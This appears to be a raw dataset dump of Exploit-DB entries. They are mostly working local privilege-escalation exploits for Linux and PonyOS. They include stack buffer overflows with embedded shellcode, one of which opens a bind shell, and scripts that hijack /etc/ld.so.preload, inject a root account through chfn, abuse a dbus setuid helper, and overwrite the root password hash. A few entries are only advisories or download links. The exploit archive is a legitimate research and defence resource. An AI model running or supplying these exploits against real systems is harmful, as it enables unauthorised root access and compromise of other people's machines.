deardaniel/secdata-raw huggingface dataset:
Exploit-DB #221
Description: Kwintv - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-12-06
Author: Cody Tubbs

Exploit:
/*
 * (kwintv) local buffer overflow. (gid=video(33))
 *
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/17/2000
 *
 * For SuSE 7.0 - x86.
 * sgid "video"(33) by default.
 *
 * bash-2.04$ id
 * uid=1000(loophole) gid=501(noc)
 * bash-2.04$ ./b 0
 * Ret-addr 0xbfffe1fc, offset: 0, allign: 0.
 * sh-2.04$ id
 * uid=1000(loophole) gid=33(video)
 * sh-2.04$
 *
 */

#include <stdio.h>

#define OFFSET 0
#define ALLIGN 0
#define NOP    0x90
#define DBUF   481 //481+((RET)).
#define GID    33

static char shellcode[]=
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
  "\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
  "\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
  "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
  "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
  "\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
  __asm__("movl %esp,%eax");
}

void workit(char *heh){
  fprintf(stderr, "\n(kwintv) local exploit for SuSE 7.0 - x86\n");
  fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
  fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", heh);
  fprintf(stderr, "Examp: %s 0\n", heh);
  fprintf(stderr, "Examp: %s 0 1\n", heh);
  exit(1);
}


main(int argc, char **argv){
  char eipeip[DBUF], buffer[4096], heh[DBUF+1];
  int i, offset, gid, allign;
  long address;

  if(argc<2){
    workit(argv[0]);
  }
 
  if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
  if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

  address=get_sp()-offset;

  if(allign>0){for(i=0;i<allign;i++){eipeip[i]=0x69;}}//0x69.HEH.:D
  for(i=allign;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}

  gid=GID;
  shellcode[10]=gid;
  shellcode[22]=gid;
  shellcode[24]=gid;
 
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
    buffer[i]=NOP;
  }
 
  memcpy(heh, eipeip, strlen(eipeip));
  memcpy(heh, "DISPLAY=", 8);
  putenv(heh);

  memcpy(buffer+i, shellcode, strlen(shellcode));
  memcpy(buffer, "KWINEX=", 7);
  putenv(buffer);
 
  fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address,offset,allign);
  execlp("/opt/kde/bin/kwintv", "kwintv", 0);//Change path if needed. :D
}


// milw0rm.com [2000-12-06]
Exploit-DB #49259
Description: libbabl 0.1.62 - Broken Double Free Detection (PoC)
Type: local
Platform: linux
Date: 2020-12-15
Author: Carter Yagemann

Exploit:
# Exploit Title: libbabl 0.1.62 - Broken Double Free Detection (PoC)
# Date: December 14, 2020
# Exploit Author: Carter Yagemann
# Vendor Homepage: https://www.gegl.org
# Software Link: https://www.gegl.org/babl/
# Version: libbabl 0.1.62 and newer
# Tested on: Debian Buster (Linux 4.19.0-9-amd64)
# Compile: gcc -Ibabl-0.1 -lbabl-0.1 babl-0.1.62_babl_free.c

/*
 * Babl has an interesting way of managing buffers allocated and freed using babl_malloc()
 * and babl_free(). This is the structure of its allocations (taken from babl-memory.c):
 *
 * typedef struct
 * {
 *   char  *signature;
 *   size_t size;
 *   int  (*destructor)(void *ptr);
 * } BablAllocInfo;
 *
 *
 * signature is used to track whether a chunk was allocated by babl, and if so, whether
 * it is currently allocated or freed. This is done by either pointing it to the global
 * string "babl-memory" or "So long and thanks for all the fish." (babl-memory.c:44).
 *
 * Using this signature, babl can detect bad behavior's like double free (babl-memory.c:173):
 *
 * void
 * babl_free (void *ptr,
 *            ...)
 * {
 *   ...
 *       if (freed == BAI (ptr)->signature)
 *         fprintf (stderr, "\nbabl:double free detected\n");
 *
 *
 * Or so the developers think. As it turns out, because babl internally uses libc's malloc()
 * and free(), which has its own data that it stores within freed chunks, most systems will
 * overwrite babl's signature variable upon freeing, breaking the double free detection.
 * The simple PoC below demonstrates this:
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <babl/babl-memory.h>

int main(int argc, char **argv) {
    void *buf = babl_malloc(42);
    babl_free(buf);
    // BUG: reports an "unknown" pointer warning when the following is clea=
rly a double free
    babl_free(buf);

    return 0;
}
Exploit-DB #21323
Description: libdbus - 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
Type: local
Platform: linux
Date: 2012-07-17
Author: Sebastian Krahmer

Exploit:
/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
	int i = 0;
	struct stat st;
	pid_t pid = 0;
	char *env[] = {
	    "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
	    "DBUS_STARTER_BUS_TYPE=system",
	    "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
	    NULL,
	    NULL
	};


	/* the pam_systemd vector */
	char *su[] = {"/bin/su", NULL, "blah", NULL};

	/* the spice vector */
	char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};

	/* the Xorg vector, for older Linux dists and Solaris */
	char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};

	char **a = xorg;
	char *dbus[] = {"/tmp/dbus-launch", NULL};
	char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
	char me[0x1000];

	if (geteuid() == 0 && argc > 1) {
		chown("/tmp/dbus-launch", 0, 0);
		chmod("/tmp/dbus-launch", 04755);
		exit(errno);
	} else if (geteuid() == 0) {
		setuid(0);
		execve(*sh, sh, NULL);
		return errno;
	}

	printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
	memset(me, 0, sizeof(me));

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
		/* Solaris */
		readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
	}
	symlink(me, "/tmp/dbus-launch");

	if (stat(spice[0], &st) == 0) {
		if ((st.st_mode & 04000) == 04000) {
			printf("[+] Using spice helper ...\n");
			a = spice;
		}
	} else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
		printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
		env[3] = "DISPLAY=:7350";
		su[1] = getenv("USER");
		a = su;
	} else if (stat(xorg[0], &st) == 0) {
		if ((st.st_mode & 04000) == 04000)
			printf("[+] Using Xorg helper ...\n");
		else {
			printf("[-] No suitable suid helper found.\n");
			exit(0);
		}
	} else {
		printf("[-] No suitable suid helper found.\n");
		exit(0);
	}

	if ((pid = fork()) == 0) {
		execve(*a, a, env);
		exit(0);
	}

	printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

	for (i = 0; i < 10; ++i) {
		sleep(1);
		printf("."); fflush(stdout);
	}
	kill(pid, SIGKILL);
	waitpid(pid, NULL, 0);

	for (;;) {
		stat(*dbus, &st);
		if ((st.st_mode & 04755) == 04755)
			break;
		sleep(1);
	}
	printf("\n[!] Hurra!\n");

	execve(*dbus, dbus, NULL);
	return errno;
}
Exploit-DB #2144
Description: liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation
Type: local
Platform: linux
Date: 2006-08-08
Author: Karol Wiesek

Exploit:
#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
	if (getuid()!=0 && geteuid()==0)
	{
		setuid(0);
		unlink("/etc/ld.so.preload");
		execl("/bin/bash", "bash", 0);
	}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping

# milw0rm.com [2006-08-08]
Exploit-DB #22538
Description: Libopt.a 3.1x - Error Logging Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-04-24
Author: jlanthea

Exploit:
source: https://www.securityfocus.com/bid/7433/info
 
Libopt library has been reported prone to a buffer overflow vulnerability.
 
It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.
 
Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.
 
It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected.

#!/usr/bin/perl
#
# expl-optatoi.pl : opt_atoi() function exploit (from Options Parsing
# Tool shared library opt-3.18 and prior) for this vulnerable code.
#
# vuln.c :
#    main(int *argc, char **argv)
#    {
#        /* use OPT opt_atoi() */
#        int y = opt_atoi(argv[1]);
#        printf("opt_atoi(): %i\n", y);
#     }
#
# cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a
#
# Author :
#    jlanthea [contact@jlanthea.net]
#
# Syntax :
#    perl expl-optatoi.pl <offset>   # works for me with offset = -1090


$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
             "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
             "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
             "\xff\xff/bin/sh";


$len = 1032;        # The length needed to own EIP.
$ret = 0xbffff6c0;  # The stack pointer at crash time
$nop = "\x90";      # x86 NOP
$offset = 0;    # Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");

$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

exec("/path/to/vuln $buffer");
Exploit-DB #601
Description: libxml 2.6.12 nanoftp - Local Buffer Overflow
Type: local
Platform: linux
Date: 2004-10-26
Author: infamous41md

Exploit:
/*
 *  libxml 2.6.12 nanoftp bof POC   infamous42mdAThotpopDOTcom
 *
 *  [n00b localho outernet] gcc -Wall libsuxml.c -lxml2
 *  [n00b localho outernet] ./a.out 
 *  Usage: ./a.out <retaddr> [ align ]
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  [n00b localho outernet] ./a.out 0xbfff0360
 *  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN   
  
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    
 
/*
 */
int main(int argc, char **argv)
{
    int x = 0, len = 0;
    char    buf[BS] = {'A',};
    long    retaddr = 0, align = ALIGN;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(sscanf(argv[1], "%lx", &retaddr) != 1)
        die("sscanf");
    if(argc > 2)
        align = atoi(argv[2]);
    if(align < 0 || align > 3)
        die("nice try newblar");

    strncpy(buf, "://[", 4);
    len += 4;
    memset(buf+len, NOP, NNOPS);
    len += NNOPS;
    memcpy(buf+len, sc, SHELL_LEN);
    len += SHELL_LEN;
    
    len += align;
    for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
        memcpy(buf+len+x, &retaddr, sizeof(retaddr));
    buf[len+x] = ']';
    buf[len+x+1] = 0;

    xmlNanoFTPNewCtxt(buf);

    return EXIT_SUCCESS;
}

// milw0rm.com [2004-10-26]
Exploit-DB #331
Description: LibXt - 'XtAppInitialize()' Local Overflow *xterm
Type: local
Platform: linux
Date: 1997-05-14
Author: Ming Zhang

Exploit:
/*

   cxterm buffer overflow exploit for Linux.  This code is tested on
both Slackware 3.1 and 3.2.

					Ming Zhang
                                        mzhang@softcom.net
*/
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h>
#include <fcntl.h>
   
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] = 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
   
void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

/* use a different offset if you find this program doesn't do the job */
   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("Buy more RAM!\n");
      exit(0);
   }
   ptr = buff;
      
   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE; 
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];
   
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,  
         "This bug is discovered by Ming Zhang
(mzhang@softcom.net)\n");  
    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
    execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}

// milw0rm.com [1997-05-14]
Exploit-DB #36966
Description: LightDM 1.0.6 - Arbitrary File Deletion
Type: local
Platform: linux
Date: 2012-03-13
Author: Ryan Lortie

Exploit:
source: https://www.securityfocus.com/bid/52452/info

Light Display Manager (LightDM) is prone to a local arbitrary-file-deletion vulnerability.

A local attacker can exploit this issue to delete arbitrary files with administrator privileges.

Light Display Manager (LightDM) 1.0.6 is vulnerable. Other versions may also be affected. 

/usr/sbin/guest-account has this cleanup:

# remove leftovers in /tmp
find /tmp -mindepth 1 -maxdepth 1 -uid "$UID" | xargs rm -rf || true

This runs with the cwd of the last logged in user. If the user creates a file "/tmp/x a", the file "a" gets removed from the last user's login.
Exploit-DB #1299
Description: Linux chfn (SuSE 9.3/10) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-11-08
Author: Hunger

Exploit:
#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
	echo "No SHELL environment, using /bin/sh for default."
	export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
	/bin/echo "Type your current password to get root... :)"
	/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
	if [ -u /bin/su ]; then
		/bin/su r00t
		/bin/echo "You can get root again with 'su r00t'"
	else 
		echo "/bin/su file is not setuid root :("
	fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi

# milw0rm.com [2005-11-08]
Exploit-DB #37168
Description: Linux Kernel (PonyOS 3.0) - ELF Loader Local Privilege Escalation
Type: local
Platform: linux
Date: 2015-06-01
Author: Hacker Fantastic

Exploit:
# Exploit Title: PonyOS <= 3.0 ELF loader privilege escalation
# Google Dork: [if applicable]
# Date: 29th May 2015
# Exploit Author: Hacker Fantastic
# Vendor Homepage: www.ponyos.org
# Software Link: [download link if available]
# Version: 3.0
# Tested on: 3.0
# CVE : N/A

Source: https://github.com/mdsecresearch/Publications/blob/master/exploits/rainbowdash.tgz?raw=true
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37168.tgz

Blog post for more detail: http://blog.mdsec.co.uk/2015/05/my-lulzy-pwniez-abusing-kernel-elf.html
Exploit-DB #37183
Description: Linux Kernel (PonyOS 3.0) - TTY 'ioctl()' Local Privilege Escalation
Type: local
Platform: linux
Date: 2015-06-02
Author: Hacker Fantastic

Exploit:
/*
# Exploit Title: PonyOS <= 3.0 tty ioctl() local kernel exploit
# Google Dork: [if applicable]
# Date: 29th June 2015
# Exploit Author: HackerFantastic
# Vendor Homepage: www.ponyos.org
# Software Link: [download link if available]
# Version: [app version] PonyOS <= 3.0
# Tested on: PonyOS 3.0
# CVE : N/A

# Source: https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/applejack.c
*/

/* PonyOS <= 3.0 tty ioctl() root exploit
  ========================================
  PonyOS 0.4.99-mlp had two kernel vulnerabilities
  disclosed in April 2013 that could be leveraged 
  to read/write arbitrary kernel memory. This is 
  due to tty winsize ioctl() allowing to read/write
  arbitrary memory. This exploit patches the setuid
  system call to remove a root uid check allowing
  any process to obtain root privileges. 

  John Cartwright found these flaws and others here:
  https://www.exploit-db.com/exploits/24933/

  Written for educational purposes only. Enjoy!  

   -- prdelka

*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>

int main(){
	struct winsize ws;
	printf("[+] PonyOS <= 3.0 ioctl() local root exploit\n");
	memcpy(&ws,"\x90\x90\x90\x90\x8b\x45\x08\x89",8);
	ioctl(0, TIOCSWINSZ, &ws);
	ioctl(0, TIOCGWINSZ, (void *)0x0010f101);
	printf("[-] patched sys_setuid()\n");
	__asm("movl $0x18,%eax");
	__asm("xorl %ebx,%ebx");
	__asm("int $0x7F");
	printf("[-] Got root?\n");
	system("/bin/sh");
}
Exploit-DB #37167
Description: Linux Kernel (PonyOS 3.0) - VFS Permissions Local Privilege Escalation
Type: local
Platform: linux
Date: 2015-06-01
Author: Hacker Fantastic

Exploit:
/* MyLittleUnix <= 3.0 VFS permissions root exploit 
   ================================================
   File permissions are not checked, we can abuse 
   this to replace the root user password with our
   own and escalate our privileges. This exploit 
   now 20% cooler and tested on latest 3.0 mlp OS.

   -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char* pwnystr = "root:07821d[PII_REDACTED]042007bf1c7cdf3c55284"
		"29a65f8f10ce388d301b47865a283147bfd290545b"
		"0b9b12ae622a8eb359497cb3635506f99d2f5e4c4e"
		"594cadd:0:0:HackerFantastic:/home/root:/bi"
		"n/sh:fancy\n";

int main(){
	int fd, r;
	struct stat *fileinfo = malloc(sizeof(struct stat));
	char *buffer, *line, *filenm = "/etc/master.passwd";
	printf("[+] MyLittleUnix <=3.0 VFS permissions local root exploit\n");
	fd = open(filenm,O_RDWR);
	r = stat(filenm,fileinfo);
	buffer = malloc((uint)fileinfo->st_size);
	if(buffer){
		read(fd,buffer,fileinfo->st_size);
	}
	else{
		printf("[!] No pwn for you pwnie\n");
		exit(0);
	}
	lseek(fd,0,SEEK_SET);
	line = strtok(buffer,"\n");
	while(line){
		if(strstr(line,"root:")){
			write(fd,pwnystr,strlen(pwnystr));
		}
		else{
			write(fd,line,strlen(line));
			write(fd,"\n",strlen("\n"));
		}
		line = strtok(NULL,"\n");
	}
	close(fd);
	printf("[-] 20percent COOLER! user 'root' password is 'pwnies'\n");
	exit(0);
}
Exploit-DB #41875
Description: Linux Kernel (PonyOS 4.0) - 'fluttershy' LD_LIBRARY_PATH Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-04-02
Author: Hacker Fantastic

Exploit:
#!/usr/bin/python
#PonyOS 4.0 has added several improvements over previous releases
#including support for setuid binaries and dynamic libraries. The
#run-time linker does not sanitize environment variables when 
#running setuid files allowing for local root exploitation through
#manipulated LD_LIBRARY_PATH. Requires build-essential installed
#to compile the malicious library.
import shutil
import os

if __name__=="__main__":
    print("[+] fluttershy - dynamic linker exploit for ponyos 4.0")
    shutil.copyfile("/usr/lib/libc.so","/tmp/libc.so")
    shutil.copyfile("/usr/lib/libm.so","/tmp/libm.so")
    shutil.copyfile("/usr/lib/libpng15.so","/tmp/libpng15.so")
    shutil.copyfile("/usr/lib/libtoaru-graphics.so","/tmp/libtoaru-graphics.so")
    shutil.copyfile("/usr/lib/libtoaru-kbd.so","/tmp/libtoaru-kbd.so")
    shutil.copyfile("/usr/lib/libtoaru-rline.so","/tmp/libtoaru-rline.so")
    shutil.copyfile("/usr/lib/libtoaru-list.so","/tmp/libtoaru-list.so")
    shutil.copyfile("/usr/lib/libtoaru-sha2.so","/tmp/libtoaru-sha2.so")
    shutil.copyfile("/usr/lib/libtoaru-termemu.so","/tmp/libtoaru-termemu.so")
    shutil.copyfile("/usr/lib/libz.so", "/tmp/libz.so")
    fd = open("/tmp/lib.c","w")
    fd.write("#include <stdio.h>\n#include <stdlib.h>\n\n")
    fd.write("void toaru_auth_check_pass(char* username, char* password){\n")
    fd.write("\tprintf(\"[+] pony smash!\\n\");\n}\n")
    fd.close()
    os.system("gcc -fpic -c /tmp/lib.c")
    os.system("gcc -shared -o /tmp/libtoaru-toaru_auth.so /tmp/lib.o")
    os.environ["LD_LIBRARY_PATH"] = "/tmp"
    os.system("sudo sh")
Exploit-DB #44205
Description: Linux Kernel - 'BadIRET' Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-07-24
Author: Ren Kimura

Exploit:
# CVE-2014-9322 PoC for Linux kernel
CVE-2014-9322 (a.k.a BadIRET) proof of concept for Linux kernel.  
This PoC uses only syscalls not any libraries, like pthread. Threads are implemented using raw Linux syscalls.  
[Raw Linux Threads via System Calls](http://nullprogram.com/blog/2015/05/15/)  

# Usage
```
$ make
```
**badiret.elf** is an ELF executable.  
**badiret.bin** is a raw binary that can be used as payload.  

# Reference
[Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation)](https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/)  

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44205.zip